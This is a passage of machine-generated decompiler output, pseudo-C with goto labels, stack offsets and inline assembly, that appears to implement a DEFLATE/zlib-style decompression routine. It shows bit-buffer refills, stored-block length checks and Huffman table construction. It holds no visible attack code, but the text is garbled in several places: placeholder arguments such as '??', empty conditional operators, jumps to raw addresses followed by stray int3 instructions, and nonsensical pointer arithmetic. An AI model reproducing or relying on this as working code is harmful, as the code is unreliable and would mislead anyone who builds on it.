																	__eflags = _t868;
																	if(_t868 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t596 = _t652 + 1;
																	__eflags = _t1043 - _t596;
																	if(_t1043 < _t596) {
																		goto L1;
																	} else {
																		L236:
																		_t868 =  *(_t1058 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t596 = _t596 >> 9;
															__eflags = _t596;
															if(_t596 == 0) {
																L1:
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L264:
																	 *_t1022 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t868 = _t1043;
														_t644 = ( *_t841 & 0x000000ff) << _t868;
														_t841 = _t841 + 1;
														_t962 = _t962 | _t644;
														 *(_t1058 - 0x18) = _t841;
														_t1043 = _t1043 + 8;
														 *(_t1058 - 4) = _t962;
													} while (_t1043 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1043 - _t868;
											if(_t1043 >= _t868) {
												L223:
												L224:
												_t1043 = _t1043 - _t868;
												_t680 = (_t596 << _t868) - 0x00000001 & _t962;
												_t962 = _t962 >> _t868;
												_t456 = _t1058 - 8;
												 *_t456 =  *(_t1058 - 8) + _t680;
												__eflags =  *_t456;
												 *(_t1058 - 4) = _t962;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L222:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t868 =  *(_t1058 - 0x38);
													_t962 = _t962 | _t596;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - _t868;
													if(_t1043 < _t868) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1022 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1022 + 0x14) & 0x00000001;
											if(( *(_t1022 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1043 - 3;
											if(_t1043 >= 3) {
												L89:
												_t1043 = _t1043 - 3;
												_t693 = _t962 & 0x00000007;
												_t991 = _t962 >> 3;
												 *(_t1022 + 0x14) = _t693;
												_t596 = _t693 >> 1;
												__eflags = _t596;
												 *(_t1058 - 4) = _t991;
												 *(_t1058 - 0x1c) = _t1043;
												 *(_t1022 + 0x18) = _t596;
												if(_t596 != 0) {
													L124:
													__eflags = _t596 - 3;
													if(_t596 == 3) {
														L266:
														 *(_t1058 - 0xc) = 0xffffffff;
														 *_t1022 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t596 - 1;
														if(_t596 != 1) {
															L128:
															_t893 = 0;
															__eflags = 0;
															while(1) {
																L129:
																 *(_t1058 - 8) = _t893;
																__eflags = _t893 - 3;
																if(_t893 >= 3) {
																	break;
																}
																L130:
																_t596 =  *((char*)(_t893 + 0x38f004));
																 *(_t1058 - 0x1c) = _t596;
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	L133:
																	_t1017 = _t1022 + _t893 * 4;
																	_t1036 =  *(_t1058 - 4);
																	 *(_t1017 + 0x2c) = (0x00000001 <<  *(_t1058 - 0x1c)) - 0x00000001 & _t1036;
																	_t804 =  *(_t1058 - 8);
																	_t931 =  *((char*)(_t804 + 0x38f004));
																	_t1037 = _t1036 >> _t931;
																	_t1043 = _t1043 - _t931;
																	_t932 = _t804;
																	 *(_t1058 - 4) = _t1037;
																	 *(_t1058 - 0x1c) = _t1043;
																	_t596 =  *(0x38fa38 + _t932 * 4);
																	 *(_t1017 + 0x2c) =  *(_t1017 + 0x2c) +  *(0x38fa38 + _t932 * 4);
																	_t991 = _t1037;
																	_t1022 =  *(_t1058 - 0x14);
																	_t893 = _t932 + 1;
																	continue;
																} else {
																	while(1) {
																		L131:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L132:
																		_t806 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t893 =  *(_t1058 - 8);
																		_t991 = _t991 | _t806;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 0x18) = _t841;
																		 *(_t1058 - 4) = _t991;
																		_t596 =  *((char*)(_t893 + 0x38f004));
																		 *(_t1058 - 0x1c) = _t596;
																		__eflags = _t1043 - _t596;
																		if(_t1043 < _t596) {
																			continue;
																		} else {
																			goto L133;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1022 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L134:
															goto L0;
														} else {
															L126:
															goto 0x3a14d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t596 + 0x2c)) = 0x120;
															L127:
															_t808 = _t596 + 1 - 0x20;
															 *_t808 =  *_t808 + _t808;
															_t841 = _t841 + _t808;
															_t809 = _t808 + 1;
															 *_t809 =  *_t809 ^ _t809;
															 *_t809 = _t809 +  *_t809;
															 *0xde0 =  *0xde0 + _t809;
															memset(_t809, ??, ??);
															asm("movdqa xmm0, [0x38fae0]");
															_t1061 = _t1061 + 0xc;
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqu [edi+0x70], xmm0");
															asm("movdqu [edi+0x80], xmm0");
															asm("movdqu [edi+0x90], xmm0");
															asm("movdqu [edi+0xa0], xmm0");
															asm("movdqu [edi+0xb0], xmm0");
															asm("movdqu [edi+0xc0], xmm0");
															_t1038 = _t1022 + 0xd0;
															asm("movdqa xmm0, [0x38faf0]");
															asm("movdqu [edi], xmm0");
															asm("movdqu [edi+0x10], xmm0");
															asm("movdqu [edi+0x20], xmm0");
															asm("movdqu [edi+0x30], xmm0");
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqa xmm0, [0x38fad0]");
															asm("movdqu [edi+0x70], xmm0");
															asm("movq [edi+0x80], xmm0");
															 *((intOrPtr*)(_t1038 + 0x88)) = 0x8080808;
															 *((intOrPtr*)(_t1038 + 0x8c)) = 0x8080808;
															_t1022 =  *(_t1058 - 0x14);
															goto L141;
														}
													}
												} else {
													L90:
													_t596 = _t1043 & 0x00000007;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														L93:
														_t935 = _t1043 & 0x00000007;
														_t962 = _t991 >> _t935;
														_t1043 = _t1043 - _t935;
														 *(_t1058 - 4) = _t962;
														_t936 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1058 - 8) = _t936;
															__eflags = _t936 - 4;
															if(_t936 >= 4) {
																break;
															}
															L95:
															__eflags = _t1043;
															if(_t1043 == 0) {
																L101:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L244:
																	 *_t1022 = 7;
																	goto L285;
																} else {
																	L102:
																	_t596 =  *_t841;
																	_t841 = _t841 + 1;
																	(_t1022 + 0x2920)[_t936] = _t596;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 0x18) = _t841;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1043 - 8;
																if(_t1043 >= 8) {
																	L100:
																	(_t1022 + 0x2920)[_t936] = _t962;
																	_t1043 = _t1043 - 8;
																	_t962 = _t962 >> 8;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 4) = _t962;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L98:
																		_t596 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t962 = _t962 | _t596;
																		 *(_t1058 - 0x18) = _t841;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 4) = _t962;
																		__eflags = _t1043 - 8;
																		if(_t1043 < 8) {
																			continue;
																		} else {
																			L99:
																			_t936 =  *(_t1058 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1022 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t596 =  *(_t1022 + 0x2922) & 0x000000ff;
														 *(_t1058 - 8) = ( *(_t1022 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1022 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1058 - 8) - ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff);
														if( *(_t1058 - 8) != ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff)) {
															L265:
															 *(_t1058 - 0xc) = 0xffffffff;
															 *_t1022 = 0x27;
															goto L292;
														} else {
															L104:
															_t944 =  *(_t1058 - 8);
															while(1) {
																L105:
																__eflags = _t944;
																if(_t944 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1043;
																if(_t1043 == 0) {
																	L113:
																	_t596 =  *(_t1058 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t944;
																		if(_t944 == 0) {
																			break;
																		}
																		L116:
																		_t1018 =  *((intOrPtr*)(_t1058 - 0x40));
																		__eflags = _t596 - _t1018;
																		if(_t596 < _t1018) {
																			L118:
																			_t596 =  *(_t1058 - 0x20);
																			__eflags = _t841 - _t596;
																			if(_t841 >= _t596) {
																				L247:
																				_t1022 =  *(_t1058 - 0x14);
																				 *_t1022 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t962 = _t1018 -  *(_t1058 - 0x10);
																				_t1040 = _t596 - _t841;
																				__eflags = _t962 - _t1040;
																				_t814 =  <  ? _t962 : _t1040;
																				__eflags = ( <  ? _t962 : _t1040) - _t944;
																				if(( <  ? _t962 : _t1040) >= _t944) {
																					_t1022 = _t944;
																				} else {
																					__eflags = _t962 - _t1040;
																					_t1022 =  <  ? _t962 : _t1040;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t841 = _t841 + _t1022;
																				_t596 =  *(_t1058 - 0x10) + _t1022;
																				_t1061 = _t1061 + 0xc;
																				 *(_t1058 - 0x18) = _t841;
																				_t944 =  *(_t1058 - 8) - _t1022;
																				 *(_t1058 - 0x10) = _t596;
																				 *(_t1058 - 8) = _t944;
																				continue;
																			}
																		} else {
																			L117:
																			_t1022 =  *(_t1058 - 0x14);
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x3a14b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1043 - 8;
																	if(_t1043 >= 8) {
																		L110:
																		_t596 = _t962 & 0x000000ff;
																		_t962 = _t962 >> 8;
																		_t1043 = _t1043 - 8;
																		 *(_t1058 - 0x28) = _t596;
																		 *(_t1058 - 4) = _t962;
																		L111:
																		__eflags =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 - 0x40));
																		_t1022 =  *(_t1058 - 0x14);
																		if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																			L246:
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																			 *( *(_t1058 - 0x10)) = _t596;
																			_t944 =  *(_t1058 - 8) - 1;
																			 *(_t1058 - 8) = _t944;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t841 -  *(_t1058 - 0x20);
																			if(_t841 >=  *(_t1058 - 0x20)) {
																				break;
																			}
																			L109:
																			_t596 = ( *_t841 & 0x000000ff) << _t1043;
																			_t841 = _t841 + 1;
																			_t962 = _t962 | _t596;
																			 *(_t1058 - 0x18) = _t841;
																			_t1043 = _t1043 + 8;
																			 *(_t1058 - 4) = _t962;
																			__eflags = _t1043 - 8;
																			if(_t1043 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1022 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t841 -  *(_t1058 - 0x20);
															if(_t841 >=  *(_t1058 - 0x20)) {
																break;
															}
															L92:
															_t820 = ( *_t841 & 0x000000ff) << _t1043;
															_t1043 = _t1043 + 8;
															_t991 = _t991 | _t820;
															_t841 = _t841 + 1;
															 *(_t1058 - 0x18) = _t841;
															_t596 = _t1043 & 0x00000007;
															 *(_t1058 - 4) = _t991;
															__eflags = _t1043 - _t596;
															if(_t1043 < _t596) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1022 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L88:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t962 = _t962 | _t596;
													 *(_t1058 - 0x18) = _t841;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - 3;
													if(_t1043 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1022 = 3;
												goto L285;
											}
											goto L295;
										}
										L252:
										_t596 = _t1043 & 0x00000007;
										__eflags = _t1043 - _t596;
										if(_t1043 >= _t596) {
											L256:
											_t683 =  *(_t1058 - 0x3c);
											_t886 = _t1043 & 0x00000007;
											_t986 = _t962 >> _t886;
											_t1043 = _t1043 - _t886;
											 *(_t1058 - 4) = _t986;
											__eflags = _t841 - _t683;
											if(_t841 > _t683) {
												while(1) {
													L257:
													__eflags = _t1043 - 8;
													if(_t1043 < 8) {
														goto L259;
													}
													L258:
													_t841 = _t841 - 1;
													_t1043 = _t1043 - 8;
													__eflags = _t841 - _t683;
													if(_t841 > _t683) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t596 = _t1043;
											asm("bts edx, eax");
											__eflags = _t596 - 0x20;
											_t888 =  >=  ? _t986 : 0;
											_t987 = _t986 ^ _t888;
											__eflags = _t596 - 0x40;
											_t889 =  >=  ? _t987 : _t888;
											 *(_t1058 - 4) =  *(_t1058 - 4) & _t987 - 0x00000001;
											__eflags =  *(_t1058 + 0x18) & 0x00000001;
											if(( *(_t1058 + 0x18) & 0x00000001) == 0) {
												L290:
												_t684 = 0;
												__eflags = 0;
												 *_t1022 = 0x22;
												L291:
												 *(_t1058 - 0xc) = _t684;
												goto L292;
											} else {
												L261:
												_t890 = 0;
												while(1) {
													L277:
													 *(_t1058 - 8) = _t890;
													__eflags = _t890 - 4;
													if(_t890 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1043;
													if(_t1043 != 0) {
														L281:
														_t989 =  *(_t1058 - 4);
														__eflags = _t1043 - 8;
														if(_t1043 >= 8) {
															L275:
															_t685 = _t989 & 0x000000ff;
															_t1043 = _t1043 - 8;
															__eflags = _t1043;
															 *(_t1058 - 4) = _t989 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	break;
																}
																L273:
																_t596 = ( *_t841 & 0x000000ff) << _t1043;
																_t1043 = _t1043 + 8;
																_t989 = _t989 | _t596;
																_t841 = _t841 + 1;
																 *(_t1058 - 4) = _t989;
																__eflags = _t1043 - 8;
																if(_t1043 < 8) {
																	continue;
																} else {
																	L274:
																	_t890 =  *(_t1058 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1022 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															L283:
															 *_t1022 = 0x2a;
															goto L285;
														} else {
															L280:
															_t685 =  *_t841 & 0x000000ff;
															_t841 = _t841 + 1;
															L276:
															 *(_t1058 - 0x24) = _t685;
															_t596 =  *(_t1022 + 0x10) << 0x00000008 |  *(_t1058 - 0x24);
															_t890 = _t890 + 1;
															__eflags = _t890;
															 *(_t1022 + 0x10) = _t596;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													break;
												}
												L255:
												_t690 = ( *_t841 & 0x000000ff) << _t1043;
												_t1043 = _t1043 + 8;
												_t962 = _t962 | _t690;
												_t841 = _t841 + 1;
												 *(_t1058 - 4) = _t962;
												_t596 = _t1043 & 0x00000007;
												__eflags = _t1043 - _t596;
												if(_t1043 < _t596) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1022 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1043 - 0xf;
									if(_t1043 < 0xf) {
										_t999 =  *(_t841 + 1) & 0x000000ff;
										_t880 = _t1043;
										_t721 =  *_t841 & 0x000000ff;
										_t841 = _t841 + 2;
										_t1022 =  *(_t1058 - 0x14);
										 *(_t1058 - 0x18) = _t841;
										 *(_t1058 - 4) =  *(_t1058 - 4) | (_t999 << 0x00000008 | _t721) << _t880;
										_t1043 = _t1043 + 0x10;
										__eflags = _t1043;
										_t962 =  *(_t1058 - 4);
									}
									_t714 =  *((short*)(_t1022 + 0x160 + (_t962 & 0x000003ff) * 2));
									 *(_t1058 - 0x1c) = _t714;
									__eflags = _t714;
									if(_t714 < 0) {
										L53:
										goto 0x3a1472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t716 = _t962 >> _t880;
											_t880 = _t880 + 1;
											_t841 =  *((short*)(_t1022 + 0x960 + ((_t716 & 0x00000001) +  !_t841) * 2));
											__eflags = _t841;
										} while (_t841 < 0);
										 *(_t1058 - 0x1c) = _t841;
										_t841 =  *(_t1058 - 0x18);
									} else {
										L52:
										_t880 = _t714 >> 9;
									}
									L56:
									_t596 =  *(_t1058 - 8);
									_t1043 = _t1043 - _t880;
									_t962 = _t962 >> _t880;
									 *(_t1058 - 4) = _t962;
									 *( *(_t1058 - 0x10)) = _t596;
									_t880 =  *(_t1058 - 0x1c);
									__eflags = _t880 & 0x00000100;
									if((_t880 & 0x00000100) != 0) {
										L83:
										_t170 = _t1058 - 0x10;
										 *_t170 =  *(_t1058 - 0x10) + 1;
										__eflags =  *_t170;
										goto L84;
									} else {
										L57:
										_t719 =  *(_t1058 - 0x10);
										 *(_t719 + 1) = _t880;
										 *(_t1058 - 0x10) = _t719 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t879 =  *(_t1058 - 0x20) - _t841;
													__eflags = _t879 - 4;
													if(_t879 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t877;
											} while (_t877 == 0);
											goto 0x3a140c;
											asm("int3");
											_t824 =  *_t830;
											 *_t1022 = _t824;
											_t1022 =  *(_t1058 - 0x14);
											__eflags = _t877 - 1;
											if(_t877 > 1) {
												L29:
												L36:
												goto 0x3a1448;
												asm("int3");
												 *(_t982 + 1) =  *((intOrPtr*)(_t824 + 1));
												_t982 =  *(_t1058 - 4);
											}
											L38:
											_t85 = _t1058 - 0x10;
											 *_t85 = _t877 +  *(_t1058 - 0x10);
											__eflags =  *_t85;
											while(1) {
												L39:
												_t879 =  *(_t1058 - 0x20) - _t841;
												__eflags = _t879 - 4;
												if(_t879 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1058 - 0x10) = _t1022;
											_t1022 =  *(_t1058 - 0x14);
											 *(_t1058 - 0xc) = _t982;
											_t982 =  *(_t1058 - 4);
											 *(_t1058 - 8) = _t877;
											__eflags = _t877;
										} while (_t877 <= 0);
										goto 0x3a1434;
										asm("int3");
										_t824 =  *_t666;
										 *_t1022 = _t824;
										_t1022 =  *(_t1058 - 0x14);
										__eflags = _t877 - 1;
										if(_t877 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							goto L295;
							L58:
							__eflags = _t1043 - 0xf;
							if(_t1043 >= 0xf) {
								L75:
								_t669 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t669;
								__eflags = _t669;
								if(_t669 < 0) {
									L77:
									goto 0x3a149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t671 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t671 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L76:
									_t879 = _t669 >> 9;
									_t596 = _t669 & 0x000001ff;
									 *(_t1058 - 8) = _t596;
								}
								L80:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 - 0x100;
								if(_t880 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t822 =  *(_t1058 - 0x10);
									__eflags = _t822 -  *((intOrPtr*)(_t1058 - 0x40));
									if(_t822 >=  *((intOrPtr*)(_t1058 - 0x40))) {
										L240:
										 *(_t1058 - 0xc) = 2;
										 *_t1022 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t822 = _t880;
										 *(_t1058 - 0x10) = _t822 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t879 - 2;
								if(_t879 >= 2) {
									L73:
									_t992 =  *(_t841 + 1) & 0x000000ff;
									_t695 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									_t879 = _t1043;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | _t992 << _t1043 + 0x00000008 | _t695 << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t596 = _t982 & 0x000003ff;
										_t1025 =  *((short*)(_t1022 + 0x160 + _t596 * 2));
										__eflags = _t1025;
										if(_t1025 < 0) {
											L64:
											__eflags = _t1043 - 0xa;
											if(_t1043 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1058 - 0x1c) = _t879;
												while(1) {
													L67:
													_t1025 =  *((short*)( *(_t1058 - 0x14) + 0x960 + ((_t982 >> _t879 & 0x00000001) +  !_t1025) * 2));
													_t879 =  *(_t1058 - 0x1c) + 1;
													 *(_t1058 - 0x1c) = _t879;
													__eflags = _t1025;
													if(_t1025 >= 0) {
														goto L74;
													}
													L68:
													_t596 = _t879 + 1;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1027 = _t1025 >> 9;
											__eflags = _t1027;
											if(_t1027 == 0) {
												L69:
												_t1022 =  *(_t1058 - 0x14);
												L70:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													L239:
													 *_t1022 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1043 - _t1027;
												if(_t1043 >= _t1027) {
													L74:
													_t1022 =  *(_t1058 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t879 = _t1043;
										_t699 = ( *_t841 & 0x000000ff) << _t879;
										_t841 = _t841 + 1;
										_t982 = _t982 | _t699;
										 *(_t1058 - 0x18) = _t841;
										_t1043 = _t1043 + 8;
										 *(_t1058 - 4) = _t982;
										__eflags = _t1043 - 0xf;
									} while (_t1043 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1058 - 0xc) = 0x40 + _t694 * 0xda0 + _t1022;
					memset(_t1058 - 0xd0, 0, 0x40);
					memset( *(_t1058 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1058 - 0xc) + 0x920, 0, 0x480);
					_t894 = 0;
					_t1061 = _t1061 + 0x24;
					_t1005 = _t1022 + ( *(_t1022 + 0x18) + 0xb) * 4;
					 *(_t1058 - 0x44) = _t1005;
					__eflags =  *_t1005;
					if( *_t1005 > 0) {
						L143:
						_t1022 =  *(_t1058 - 0xc);
						do {
							L144:
							_t797 =  *(_t894 + _t1022) & 0x000000ff;
							_t894 = _t894 + 1;
							 *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) =  *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) + 1;
							__eflags = _t894 -  *_t1005;
						} while (_t894 <  *_t1005);
					}
					L145:
					goto 0x3a1500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1058 - 0x8c) = _t894;
					 *(_t1058 - 0x90) = _t894;
					 *(_t1058 - 0x2c) = _t894;
					 *(_t1058 - 0x30) = _t894;
					do {
						L147:
						_t734 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd4));
						_t896 = _t894 + _t734 + _t894 + _t734;
						_t1022 = _t1022 + _t734;
						_t735 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd0));
						 *(_t1058 - 0x30) =  *(_t1058 - 0x30) + _t735;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x90)) = _t896;
						_t736 =  *((intOrPtr*)(_t1058 + _t1005 - 0xcc));
						_t898 = _t896 + _t735 + _t896 + _t735;
						 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) + _t736;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x8c)) = _t898;
						_t894 = _t898 + _t736 + _t898 + _t736;
						 *(_t1058 + _t1005 - 0x88) = _t894;
						_t1005 = _t1005 + 0xc;
						__eflags = _t1005 - 0x40;
					} while (_t1005 <= 0x40);
					 *(_t1058 - 0x4c) = _t894;
					 *(_t1058 - 0x24) = _t1022;
					_t1022 =  *(_t1058 - 0x14);
					_t901 =  *(_t1058 - 0x24) +  *(_t1058 - 0x2c) +  *(_t1058 - 0x30);
					__eflags =  *(_t1058 - 0x4c) - 0x10000;
					if( *(_t1058 - 0x4c) == 0x10000) {
						L150:
						_t739 =  *(_t1058 - 0x44);
						 *(_t1058 - 0x30) = 0xffffffff;
						 *(_t1058 - 0x4c) = 0;
						__eflags =  *_t739;
						if( *_t739 > 0) {
							L151:
							_t1057 =  *(_t1058 - 0x4c);
							do {
								L152:
								L153:
								_t913 =  *(_t1057 + _t739) & 0x000000ff;
								 *(_t1058 - 0x44) = _t913;
								__eflags = _t913;
								if(_t913 != 0) {
									L154:
									_t776 =  *(_t1058 + _t913 * 4 - 0x90);
									 *(_t1058 - 0x2c) = _t776;
									 *(_t1058 + _t913 * 4 - 0x90) = _t776 + 1;
									 *(_t1058 - 0x24) = _t913;
									__eflags = _t913;
									if(_t913 != 0) {
										L155:
										do {
											L156:
											 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) >> 1;
											_t796 =  *(_t1058 - 0x24) - 1;
											_t1005 = _t1005 + _t1005 |  *(_t1058 - 0x2c) & 0x00000001;
											 *(_t1058 - 0x24) = _t796;
											__eflags = _t796;
										} while (_t796 != 0);
										_t913 =  *(_t1058 - 0x44);
									}
									L158:
									__eflags = _t913 - 0xa;
									if(_t913 > 0xa) {
										L164:
										_t780 =  *(_t1058 - 0xc) + 0x120 + (_t1005 & 0x000003ff) * 2;
										_t841 =  *(_t1058 - 0x30);
										 *(_t1058 - 0x44) = _t780;
										_t781 =  *_t780;
										 *(_t1058 - 0x2c) = _t781;
										__eflags = _t781;
										if(_t781 == 0) {
											 *( *(_t1058 - 0x44)) = _t841;
											_t781 = _t841;
											_t841 = _t841 - 2;
											__eflags = _t841;
											 *(_t1058 - 0x2c) = _t781;
											 *(_t1058 - 0x30) = _t841;
										}
										L166:
										_t1013 = _t1005 >> 9;
										__eflags = _t913 - 0xb;
										if(_t913 > 0xb) {
											L167:
											_t914 = _t913 + 0xfffffff5;
											__eflags = _t914;
											 *(_t1058 - 0x24) = _t914;
											_t915 =  *(_t1058 - 0x2c);
											do {
												L168:
												_t1013 = _t1013 >> 1;
												_t786 = 0x48f - _t915 - (_t1013 & 0x00000001);
												_t918 =  *( *(_t1058 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t918;
												if(_t918 != 0) {
													_t915 = _t918;
												} else {
													 *( *(_t1058 - 0xc) + _t786 * 2) = _t841;
													_t787 =  *(_t1058 - 0x30);
													_t915 = _t787;
													_t788 = _t787 - 2;
													 *(_t1058 - 0x30) = _t788;
													_t841 = _t788;
												}
												L171:
												_t361 = _t1058 - 0x24;
												 *_t361 =  *(_t1058 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1058 - 0x2c) = _t915;
											_t781 = _t915;
										}
										L173:
										_t1005 = (_t1013 >> 0x00000001 & 0x00000001) - _t781;
										__eflags = _t1005;
										 *( *(_t1058 - 0xc) + 0x91e + _t1005 * 2) = _t1057;
									} else {
										L159:
										_t793 = (_t913 << 0x00000009 | _t1057) & 0x0000ffff;
										 *(_t1058 - 0x44) = _t793;
										__eflags = _t1005 - 0x400;
										if(_t1005 < 0x400) {
											L160:
											goto 0x3a152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t794 = _t793 << _t913;
											 *(_t1058 - 0x4c) = _t794 + _t794;
